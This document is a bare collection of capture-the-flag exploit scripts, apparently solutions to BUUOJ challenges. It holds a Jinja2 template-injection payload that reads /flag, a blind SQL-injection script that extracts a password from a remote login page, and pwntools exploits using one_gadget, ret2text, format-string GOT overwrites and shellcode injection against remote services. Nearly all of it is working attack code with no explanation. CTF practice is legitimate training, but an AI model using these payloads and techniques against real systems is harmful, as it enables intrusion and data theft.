{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import time
start_time = time.time()
def words_len(url):
    values={}
    for i in range(1,100):
        data = {'username':'p3rh4p\\','password':'||length(password)>%s#' %i}
        geturl = url
        response = requests.post(geturl,data)
        if response.content.find('You konw')>0:
            return i


def words(url):
    payloads = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
    words= ''
    aa = words_len(url)
    print aa
    for i in range(1, aa+1):
        for payload in payloads:
            data = {'username':'p3rh4p\\','password':'||ascii(substring(password,%s,1))>%s #' %(i,ord(payload))}
            geturl = url
            response = requests.post(geturl,data)
            if response.content.find('You konw')>0:
                words += payload
                print words
                break
    return words

if __name__ == '__main__':
    url='http://827d094a-2833-4bfb-93a2-fb30e06a04f5.node3.buuoj.cn/check.php'
    result=words(url)
    print "The current database:"+result

from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './one_gadget'

if sys.argv[1] == 'l':
    p = process('./one_gadget')
    libc = context.binary.libc
else:
    p = remote('node3.buuoj.cn',26018)
    libc = ELF('./libc-2.29.so')

elf = ELF('./one_gadget')

p.recvuntil('u:')
data = int(p.recv(14),16)
base = data - libc.sym['printf']

# one_gadget = base + 0xe237f
# one_gadget = base + 0xe2383
# one_gadget = base + 0xe2386
one_gadget = base + 0x106ef8

# one_gadget = base + 0xc83ba
# one_gadget = base + 0xc83bd
# one_gadget = base + 0xc83c0
# one_gadget = base + 0xe652b

payload = str(int(one_gadget))
p.recvuntil('gadget:')
# gdb.attach(p)
p.sendline(payload)
p.interactive()

from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './r2t3'

if sys.argv[1] == 'l':
    p = process('./r2t3')
else:
    p = remote('node3.buuoj.cn',29906)

elf = ELF('./r2t3')

backdoor = elf.sym['_dl_registery']

payload = flat(cyclic(21),backdoor,cyclic(235)+'\x00')

p.recvuntil('[+]Please input your name:')
# gdb.attach(p)
p.send(payload)
p.interactive()

from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './r2t4'

if sys.argv[1] == 'l':
    p = process('./r2t4')
else:
    p = remote('node3.buuoj.cn',28071)

elf = ELF('./r2t4')

addr = elf.got['__stack_chk_fail']
backdoor = elf.sym['backdoor']

def exec_fmt(payload):
    p = process('./r2t4')
    p.sendline(payload)
    data = p.recvline()
    p.close()
    return data

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
payload = fmtstr_payload(offset,{addr:backdoor}).ljust(0x38,'a')

# gdb.attach(p)
p.send(payload)
p.interactive()

e = '066146 063541 063173 034461 030141 033470 026546 063067 030545 032055 030143 026471 061471 033471 034455 034470 032064 033544 032071 032467 076463 077412 046105 001106 000401 000000 000000 000000 000000 001000 037000 000400 000000 000000 040006 000000 000000 040000 000000 000000 000000 014000 000033 000000 000000 000000 000000 040000 034000 004400 040000 017400 016000 003000 000000 002400 000000 040000 000000 000000 000000 040000 040000 000000 000000 040000 040000 000000 000000 174000 000001 000000 000000 174000 000001 000000 000000 004000 000000 000000 000000 001400 000000 002000 000000 034000 000002 000000 000000 034000 040002 000000 000000 034000 040002 000000 000000 016000 000000 000000 000000 016000 000000 000000 000000 000400 000000 000000 000000 000400 000000 002400 000000 000000 000000 000000 000000 000000 040000 000000 000000 000000 040000 000000 000000 132000 000013 000000 000000 132000 000013 000000 000000 000000 020000 000000 000000 000400 000000 003000 000000 010000 000016 000000 000000 010000 060016 000000 000000 010000 060016 000000 000000 054000 000002 000000 000000 060000 000002 000000 000000 000000 020000 000000 000000 001000 000000 003000 000000 024000 000016 000000 000000 024000 060016 000000 000000 024000 060016 000000 000000 150000 000001 000000 000000 150000 000001 000000 000000 004000 000000 000000 000000 002000 000000 002000 000000 052000 000002 000000 000000 052000 040002 000000 000000 052000 040002 000000 000000 042000 000000 000000 000000 042000 000000 000000 000000 002000 000000 000000 000000 050000 072345 002144 000000 104000 000012 000000 000000 104000 040012 000000 000000 104000 040012 000000 000000 032000 000000 000000 000000 032000 000000 000000 000000 002000 000000 000000 000000 050400 072345 003144 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000'

e = e.split(' ')
ans = ''

for o in e:
    ans += hex(int(o,8))[2:][2:]
    ans += hex(int(o,8))[2:][:2]

ans = ans.split('0a')[0]
print(ans.decode('hex'))

from pwn import *
import base64

buf = 0x0804A024
shellcode = asm(shellcraft.sh())
payload = flat(cyclic(124),buf)

context.log_level = 'DEBUG'
context.binary = './diff'

if sys.argv[1] == 'l':
    p = process(argv=['diff','/tmp/123','/tmp/456'],executable='./diff')
    f1 = open('/tmp/123','wb')
    f2 = open('/tmp/456','wb')
    f1.write(shellcode)
    f2.write(payload)
    f1.close()
    f2.close()
else:
    pwn_ssh = ssh(host='node3.buuoj.cn',user='ctf',password='guest',port=26462)
    p = pwn_ssh.process('/bin/bash')
    p.sendline('echo {} | base64 -d > /tmp/123;echo {} | base64 -d > /tmp/456'.format(base64.b64encode(shellcode),base64.b64encode(payload)))
    p.close()
    p = pwn_ssh.process(argv=['diff','/tmp/123','/tmp/456'],executable='./diff')

elf = ELF('./diff')
p.interactive()